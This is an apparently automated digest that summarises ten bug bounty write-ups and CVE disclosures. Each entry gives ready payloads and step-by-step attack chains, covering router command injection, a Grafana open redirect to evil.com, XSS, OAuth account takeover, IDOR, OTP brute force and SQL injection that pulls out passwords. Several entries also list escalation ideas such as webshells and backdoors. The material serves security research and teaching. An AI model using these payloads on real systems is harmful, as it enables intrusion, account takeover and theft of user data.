ETX Signal-X

Daily Intelligence Digest

Monday, March 9, 2026

10	16
ARTICLES	TECHNIQUES

Article 1

How I Logged in as Another User via Broken OAuth Identity Binding

Source: securitycipher

Date: 18-May-2025

URL: https://systemweakness.com/how-i-logged-in-as-another-user-via-broken-oauth-identity-binding-9a5265d84046

T1 Account Takeover via Broken OAuth Identity Binding (Email-Based Linking)

💉 Payload

```
1. Sign up/login with Google OAuth using email `a@gmail.com`.
2. In account settings, change the email to `b@gmail.com` (triggering a verification flow).
3. Confirm the email change via the verification link sent to `b@gmail.com`.
4. Log out.
5. Log in again using Google OAuth with the original email `a@gmail.com`.
```

⚔️ Attack Chain

1. Authenticate to the target application using Google OAuth with email `a@gmail.com`.
2. Navigate to account settings and initiate an email change to `b@gmail.com`.
3. Complete the email change by verifying the new email via the application's verification link.
4. Log out of the application.
5. Re-authenticate using Google OAuth with the original email (`a@gmail.com`).
6. Observe that access is granted to the account now associated with `b@gmail.com` (the new email), resulting in account takeover.

🔍 Discovery

Manual logic review of the OAuth binding implementation. The researcher noticed that the application linked OAuth identities using the email address instead of the stable `sub` claim from the ID token. This triggered testing of account state after email changes.

🔓 Bypass

The attack leverages the application's reliance on mutable email addresses for identity binding. By changing the email and then authenticating with the original OAuth identity, the attacker bypasses proper user binding and gains access to the account under its new email.

🔗 Chain With

Can be chained with session fixation or token reuse attacks if session tokens are not invalidated after email change. Potential for privilege escalation if the victim's account has elevated roles. Can be used as a pivot for further attacks if email change triggers other workflows (e.g., password resets, notification flows).

Article 2

From Subdomain Scan to Hall of Fame

Source: securitycipher

Date: 16-Sep-2025

URL: https://anupamsimonmasih.medium.com/from-subdomain-scan-to-hall-of-fame-1542f20c78e4

T1 Grafana Open Redirect via Double Encoded Path Traversal (CVE-2025-4123)

💉 Payload

```
https://grafana.redacted.com/public/..%2F%5cevil.com%2F%3f%2F..%2F..//gra 2 2 3
```

⚔️ Attack Chain

1. Perform subdomain enumeration to identify Grafana instances (e.g., grafana.redacted.com).
2. Test the /public/ endpoint with the crafted payload containing double-encoded directory traversal and backslash:
3. Upon visiting the URL, observe that the application performs an open redirect to `https://evil.com`.
4. Repeat the payload across all discovered Grafana subdomains to confirm scope and impact.

🔍 Discovery

Initial subdomain enumeration revealed Grafana-related subdomains. Researcher cross-referenced recent Grafana CVEs, specifically CVE-2025-4123, and validated the open redirect by direct payload testing on identified endpoints.

🔓 Bypass

The payload leverages double URL encoding and a backslash (`%5c`) to bypass standard path sanitization and trigger the redirect logic. The crafted path tricks the application into interpreting the target as an external domain, bypassing naive validation.

🔗 Chain With

Can be chained with phishing or session fixation attacks for account takeover if authentication tokens are present in the URL or cookies are scoped to the parent domain. Potential for chaining with OAuth or SSO flows if the redirect endpoint is used as an OAuth callback, enabling credential theft or session hijacking.

Article 3

A flaw has been found in Totolink A7000R 4.1cu.4154. This impacts the function CloudACMunualUpdateUserdata of the file /cgi-bin/cstecgi.cgi. This manipulation of the argument url causes command injection. The attack can be initiated remotely. The exploit

Source: threatable

Date:

URL: https://github.com/xyh4ck/iot_poc/blob/main/TOTOLINK/A7000R/02_RCE_CloudACMunualUpdateUserdata_RCE.md

T1 Unauthenticated Command Injection via CloudACMunualUpdateUserdata

💉 Payload

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 106
Cache-Control: max-age=0
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/login.asp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{"topicurl":"setting/CloudACMunualUpdateUserdata", "url":";ls / > /etc_ro/web/12.txt;", "na
me":"123" }
```

⚔️ Attack Chain

1. Craft a POST request to the endpoint `/cgi-bin/cstecgi.cgi` on the target TOTOLINK A7000R router (firmware V4.1cu.4154).
2. Set the JSON body parameter `topicurl` to `setting/CloudACMunualUpdateUserdata`.
3. Inject OS commands via the `url` parameter (e.g., `;ls / > /etc_ro/web/12.txt;`).
4. Send the request without authentication (endpoint is unauthenticated).
5. The injected command is executed on the device, and output is written to `/etc_ro/web/12.txt` (or as specified).
6. Retrieve the command output by accessing the created file via the web server (e.g., `http://<router_ip>/12.txt`).

🔍 Discovery

Manual review of the router's firmware and handler logic for the `CloudACMunualUpdateUserdata` endpoint revealed direct concatenation of the `url` parameter into a system call, with no input validation or authentication checks.

🔓 Bypass

No authentication is required; the endpoint is exposed and accepts arbitrary input. Command injection is enabled by terminating the expected input with a semicolon and appending shell commands.

🔗 Chain With

Use this primitive to drop a webshell or backdoor into the device's web directory for persistent access. Exfiltrate sensitive configuration files or credentials by redirecting output to web-accessible locations. Escalate to full device takeover by chaining with known privilege escalation flaws or leveraging cron/boot script persistence.

Article 4

Reflected XSS Made Easy: Catching Real Bugs in the Wild

Source: securitycipher
Date: 05-Aug-2025
URL: https://infosecwriteups.com/reflected-xss-made-easy-catching-real-bugs-in-the-wild-4222376ae3ea

T1 Reflected XSS via onauxclick Event Handler (MTN Group)

💉 Payload

```
<h1 onauxclick=confirm(document.domain)>RIGHT CLICK HERE
```

⚔️ Attack Chain

1. Navigate to `https://www.mtn.bj/`.
2. Go to the Messages section of the website.
3. Inject the payload `<h1 onauxclick=confirm(document.domain)>RIGHT CLICK HERE` into an input field or URL parameter.
4. Submit the input or access the crafted URL.
5. The payload is reflected unsanitized in the HTML response and rendered in the browser.
6. When the user right-clicks the injected element, the `onauxclick` handler triggers, executing JavaScript and displaying a confirm prompt with the current domain.

🔍 Discovery

Manual payload injection during recon of the Messages section; researcher tested for reflected input in HTML context and observed successful JavaScript execution using an event handler less commonly filtered (`onauxclick`).

🔓 Bypass

The use of the `onauxclick` event handler (right-click) bypasses some basic XSS filters that only block common events like `onclick` or `<script>` tags. This increases the chance of successful exploitation on targets with naive filtering.

🔗 Chain With

Can be chained with session hijacking, cookie theft, or open redirect vulnerabilities for account takeover or lateral movement. Social engineering (phishing) to lure privileged users into triggering the payload.

T2 Reflected XSS with Common and Stealth Payloads (Generalized)

💉 Payload

```
<svg onload=alert(1)>

"><script>alert(1)</script>

<h1 onauxclick=confirm(document.domain)>
```

⚔️ Attack Chain

1. Use tools like ParamSpider, waybackurls, or gau to enumerate all parameters and endpoints on the target domain.
2. Inject each payload into discovered GET/POST parameters, search fields, or form inputs.
3. Observe the HTML response for unsanitized reflection of the payload.
4. If reflected, check if the payload executes in the browser (alert, confirm, etc.).

🔍 Discovery

Automated parameter discovery followed by manual or semi-automated payload injection and reflection analysis. Focused on endpoints that reflect input into HTML, attribute, or script contexts.

🔓 Bypass

Use of HTML entity encoding (`<script>alert(1)</script>`) and URL encoding (`%3Cscript%3Ealert(1)%3C%2Fscript%3E`) to bypass weak input filters. Event handler payloads (e.g., `onauxclick`) to evade blacklists targeting only `<script>` or `onclick`.

🔗 Chain With

Combine with open redirect or CSRF for session hijacking or privilege escalation. Use in phishing campaigns to increase impact by targeting authenticated users or admins.

Article 5

Broken Access Control: How I Found (and Exploited) an EdTech Platform's Video Authentication Bypass

Source: securitycipher
Date: 22-Oct-2025
URL: https://akashmadanu.medium.com/broken-access-control-how-i-found-and-exploited-an-edtech-platforms-video-authentication-bypass-a594be7ae6c5

T1 Long-lived Signed Video URL Extraction and Unauthenticated Download

💉 Payload

```
ffmpeg -i "COPIED_URL_HERE" -c copy downloaded_video.mp4 "COPIED_URL_HERE" copy
```

⚔️ Attack Chain

1. Log into the EdTech platform with any valid account that has access to a paid course.
2. Navigate to a course with video content.
3. Open Browser Developer Tools (F12) and go to the Network tab.
4. Filter network requests by typing `.m3u8` in the filter bar.
5. Play the video; observe the .m3u8 playlist request in the Network tab.
6. Right-click the .m3u8 request and copy the full URL.
7. On a separate machine or terminal, use ffmpeg with the copied URL to download the video file directly, e.g.,
8. The video downloads successfully, no authentication or session required.

🔍 Discovery

Manual inspection of browser network traffic while playing a paid video. The researcher noticed .m3u8 playlist requests and hypothesized that the URLs might be reusable outside the authenticated session. Testing with ffmpeg confirmed unauthenticated access.

🔓 Bypass

The platform issues signed URLs for video content with expiration timestamps set far in the future (over a year). These URLs act as permanent keys, allowing anyone with the URL to access the video without further authentication or session validation. No session or authorization checks are performed server-side when the signed URL is used.

🔗 Chain With

URLs can be shared publicly, enabling mass unauthorized distribution of paid content (piracy). Attackers can automate scraping of all .m3u8 URLs for a course and download the entire library. If combined with an IDOR or enumeration bug, an attacker could enumerate all video URLs for all courses.

Article 6

CHAINING THE SCOPE

Source: securitycipher

Date: 15-May-2025

URL: https://sijojohnson.medium.com/chaining-the-scope-0f6fcb9e7cf4

T1 Unauthenticated PII Disclosure via Transaction UUID Enumeration

💉 Payload

```
GET /api/v1/transaction_id/{id} HTTP/1.1
Host: xyz.wedohacks.com
```

⚔️ Attack Chain

1. Use waybackurls or web archive to enumerate URLs containing the `transaction_id` parameter for the target domain (e.g., `https://xyz.wedohacks.com/?transaction_id=...`).
2. Filter out invalid or dead IDs (404/301/302) to obtain a list of valid transaction UUIDs.
3. For each valid UUID, send a GET request to the endpoint: `https://xyz.wedohacks.com/api/v1/transaction_id/{id}`.
4. Observe that the endpoint returns full transaction details, including PII (name, email, phone number, address, payment details, IP address, company info) without any authentication or authorization.

🔍 Discovery

Manual recon of previously ignored subdomains led to discovery of a payment endpoint leaking entered details after navigating back and forward in the browser. The researcher then leveraged waybackurls to enumerate historical transaction UUIDs and tested them against the API endpoint.

🔓 Bypass

No authentication or authorization required for the endpoint. Even after a timer-based fix was implemented to expire transaction IDs, any non-expired ID still exposes PII if accessed before expiration.

🔗 Chain With

Use of wayback machine/waybackurls to enumerate valid UUIDs for further exploitation. Potential for chaining with subdomain takeover if the vulnerable subdomain is acquired, allowing for further abuse (e.g., phishing, session fixation, or more advanced attacks if the subdomain is referenced in CORS or OAuth flows).

T2 Leveraging Browser Navigation (Back/Forward) to Re-access Sensitive Endpoints

💉 Payload

```
https://xyz.wedohacks.com/?transaction_id=ID
```

⚔️ Attack Chain

1. Initiate a transaction on the payment endpoint, entering test details.
2. At the payment stage, click the browser's back button to cancel the process.
3. Click the browser's forward button to revisit the payment endpoint.
4. Observe that the endpoint still returns a JSON response containing previously entered sensitive details, even after cancellation.
5. Open the same endpoint in an incognito window to confirm persistence of the leak.

🔍 Discovery

Accidental discovery during manual navigation: after cancelling a payment by clicking back, the researcher clicked forward and observed that the endpoint returned sensitive details, indicating improper session/state handling.

🔓 Bypass

Endpoint exposes sensitive data regardless of session state or authentication, as long as the transaction UUID is valid.

🔗 Chain With

Can be chained with session fixation or CSRF if the endpoint is referenced in other flows. Can be used to confirm the existence of valid UUIDs for further enumeration attacks as described above.

Article 7

A vulnerability was identified in Bdtask Bhojon All-In-One Restaurant Management System up to 20260116. The impacted element is an unknown function of the file /hungry/addtocart of the component Add-to-Cart Submission Endpoint. The manipulation of the arg

Source: threatable
Date:
URL: https://github.com/4m3rr0r/PoCVulDb/issues/14

T1 Client-Side Price Manipulation via Add-to-Cart Endpoint

💉 Payload

```
POST /hungry/addtocart/ HTTP/2
pid=16&itemname=Kerala Fried Prawns&qty=1&price=1.00&allprice=0
```

⚔️ Attack Chain

1. Browse the menu and select an item to add to cart on the Bhojon Restaurant Management System.
2. Intercept the Add-to-Cart POST request to /hungry/addtocart/.
3. Modify the `price` and `allprice` parameters to arbitrary low values (e.g., price=1.00, allprice=0).
4. Forward the request to the server.
5. Observe that the server processes the manipulated price and reflects it in the order subtotal and total.

🔍 Discovery

Manual inspection of the network traffic during the add-to-cart process revealed that price and allprice fields were client-supplied and not validated server-side. Tampering with these values resulted in the server accepting and processing the fraudulent price.

🔓 Bypass

No server-side validation or recalculation of price based on product ID; the server blindly trusts client-supplied values for price and allprice.

🔗 Chain With

Combine with coupon/voucher abuse for negative or zero-value orders. Use for automated cart manipulation attacks to mass-purchase items at arbitrary prices. Potential for privilege escalation if combined with order processing or payment logic flaws.

Article 8

Day 4: IDOR — How I Hacked a Dating App & Accessed Every User's Private Data

Source: securitycipher
Date: 06-Aug-2025
URL: https://infosecwriteups.com/day-4-idor-how-i-hacked-a-dating-app-accessed-every-users-private-data-b59a485f455f

T1 Numeric ID Parameter Manipulation for Mass Data Access (IDOR)

💉 Payload

```
GET /api/user/profile?id=12345
```

⚔️ Attack Chain

1. Intercept a request to the API endpoint `/api/user/profile` while authenticated as a normal user.
2. Identify the `id` parameter in the query string (e.g., `id=12345` for your own profile).
3. Modify the `id` value to another user's ID (e.g., `id=12346`, `id=12347`, etc.).
4. Send the modified request and observe if the API returns private data (messages, photos, location) for the targeted user.
5. Repeat with other IDs to enumerate and extract data from all users.

🔍 Discovery

While reviewing traffic in Burp Suite, the researcher noticed the `id` parameter in the profile API endpoint and hypothesized that changing the value could access other users' data.

🔓 Bypass

No authentication or authorization checks tied the `id` parameter to the logged-in user; simply incrementing or changing the value allowed access to arbitrary profiles.

🔗 Chain With

Combine with automated enumeration to exfiltrate all user data at scale. Use harvested private data for phishing, social engineering, or further account compromise. If other endpoints (messages, photos, location) use similar ID parameters, repeat the attack for additional data types.

Article 9

Bug Bounty: Bypass — Forgot Password Verification

Source: securitycipher

Date: 16-Sep-2025

URL: https://medium.com/@defidev59/bug-bounty-bypass-forgot-password-verification-69bb8935fb98

T1 Verbose Forgot Password Email Enumeration

💉 Payload

```
POST /forgot-password HTTP/1.1
Host: target.tld
Content-Type: application/json

{
  "email": "victim@example.com"
}
```

⚔️ Attack Chain

1. Submit the forgot password form with various email addresses.
2. Observe the server response for differences (e.g., error message vs. redirect to next step).
3. Use the response to determine if an email is registered (e.g., only registered emails advance to the next step).

🔍 Discovery

Manual inspection of the forgot password flow revealed that submitting an existing email produced a different response (progression to next step) than a non-existent email (error message), enabling enumeration.

🔓 Bypass

N/A

🔗 Chain With

Can be used to build a list of valid user accounts for further targeted attacks (e.g., password reset, phishing, credential stuffing).

T2 OTP Brute Force via Token Reuse in Forgot Password Flow

💉 Payload

```
POST /forgot-password HTTP/1.1
Host: target.tld
Content-Type: application/json

{
  "email": "victim@example.com"
}

---
POST /verify-otp HTTP/1.1
Host: target.tld
Content-Type: application/json

{
  "token": "<token_to_email>",
  "otp": "<6_digit_code>"
}
```

⚔️ Attack Chain

1. Trigger the forgot password flow for a target email to receive a `token_to_email` in the response.
2. Note that each request generates a new token, but old tokens remain valid until expiry (30 minutes).
3. Prepare a list of all possible 6-digit OTP codes (000000–999999).
4. For each attempt, send a new `/verify-otp` request using a fresh or previously obtained valid token and a different OTP value.
5. Repeat until the correct OTP is found and verification is bypassed.
6. Proceed to reset the password and take over the account.

🔍 Discovery

Analysis of the forgot password flow in Burp Suite's Repeater revealed that tokens could be reissued and old tokens remained valid. Testing showed that brute-forcing OTPs was possible by rotating tokens, bypassing intended lockout or retry limits.

🔓 Bypass

The system prevents brute force with a single token (lockout after incorrect attempts), but since tokens can be reissued and all remain valid for 30 minutes, the attacker can bypass lockout by requesting new tokens and retrying OTPs with each one.

🔗 Chain With

Combines with email enumeration to target valid users for account takeover. Can be chained with session fixation or other authentication bypasses for privilege escalation.

T3 Token Swap for Attacker-Controlled Email (Partial/Edge Case)

💉 Payload

```
POST /forgot-password HTTP/1.1
Host: target.tld
Content-Type: application/json

{
  "email": "attacker@evil.com"
}

---
POST /verify-otp HTTP/1.1
Host: target.tld
Content-Type: application/json

{
  "token": "<token_for_attacker_email>",
  "otp": "<attacker_otp>"
}
```

⚔️ Attack Chain

1. Initiate forgot password for an attacker-controlled email to receive a valid token and OTP.
2. Attempt to swap the token into a password reset flow for a victim account (e.g., by manipulating requests or session state).
3. In some scenarios, this could allow bypassing verification for the victim, but in this case, only client-side confirmation was achieved (no server-side password change).

🔍 Discovery

Experimentation with tokens for attacker-controlled emails and swapping them into other flows revealed the possibility of client-side confirmation, but no backend state change.

🔓 Bypass

N/A (server-side validation prevented full exploitation; only client-side confirmation was possible).

🔗 Chain With

If server-side validation is weak, could allow full account takeover. Worth testing in similar flows for privilege escalation or session fixation.

Article 10

SQL injection UNION attack, retrieving multiple values in a single column — PortSwigger

Source: securitycipher
Date: 19-Apr-2025
URL: https://arayofhope7.medium.com/sql-injection-union-attack-retrieving-multiple-values-in-a-single-column-portswigger-65d850e9cc8e

T1 Determining Number of Columns and Data Types for UNION SQLi

💉 Payload

```
' ORDER BY 2 --
```

⚔️ Attack Chain

1. Intercept the request to the vulnerable `category` parameter (e.g., `/filter?category=rayofhope`).
2. Inject `' ORDER BY 2 --` to test if the query supports at least two columns.
3. Observe a 200 OK response, confirming at least two columns.
4. Increment to `' ORDER BY 3 --` to test for three columns; error response indicates only two columns.
5. Use `' UNION SELECT 1, 2 --` to test data types; error indicates type mismatch.
6. Use `' UNION SELECT 1, 'test' --` to confirm the second column is string type.

🔍 Discovery

Manual fuzzing of the `category` parameter with SQL syntax to trigger errors and deduce column count and types.

🔓 Bypass

Type confusion is resolved by matching the correct data type per column in the UNION SELECT statement.

🔗 Chain With

Enables precise crafting of UNION SELECT payloads for data extraction in subsequent steps.

T2 Extracting Usernames or Passwords via UNION SELECT on String Column

💉 **Payload**

```
' UNION SELECT 1, username FROM users --
```

⚔️ **Attack Chain**

1. Confirm the second column is string type (see Technique 1).
2. Inject `' UNION SELECT 1, username FROM users --` into the `category` parameter.
3. Observe the response for reflected usernames from the `users` table.
4. Repeat with `' UNION SELECT 1, password FROM users --` to extract passwords.

🔍 **Discovery**

Systematic enumeration of column types and targeting the string column for data extraction.

🔓 **Bypass**

Direct extraction by targeting only the compatible column and table.

🔗 **Chain With**

Credentials can be used for privilege escalation or lateral movement (e.g., logging in as administrator).

T3 Concatenating Multiple Values in a Single String Column (PostgreSQL Syntax)

💉 **Payload**

```
' UNION SELECT 1, username || password FROM users --
```

⚔️ **Attack Chain**

1. After confirming only one string column is available for output, attempt to retrieve both username and password in a single column.
2. Inject `' UNION SELECT 1, username || password FROM users --` into the `category` parameter.
3. Observe the response for concatenated username and password values.
4. Use the extracted credentials for further actions (e.g., administrator login).

🔍 **Discovery**

Knowledge of database-specific concatenation operators (PostgreSQL uses `||`).

🔓 **Bypass**

Bypasses the limitation of a single string column by concatenating multiple fields into one output.

🔗 **Chain With**

Rapid credential harvesting for all users in a single request; can be chained with authentication bypass or privilege escalation.

Automated with ❤️ by ethicxlhuman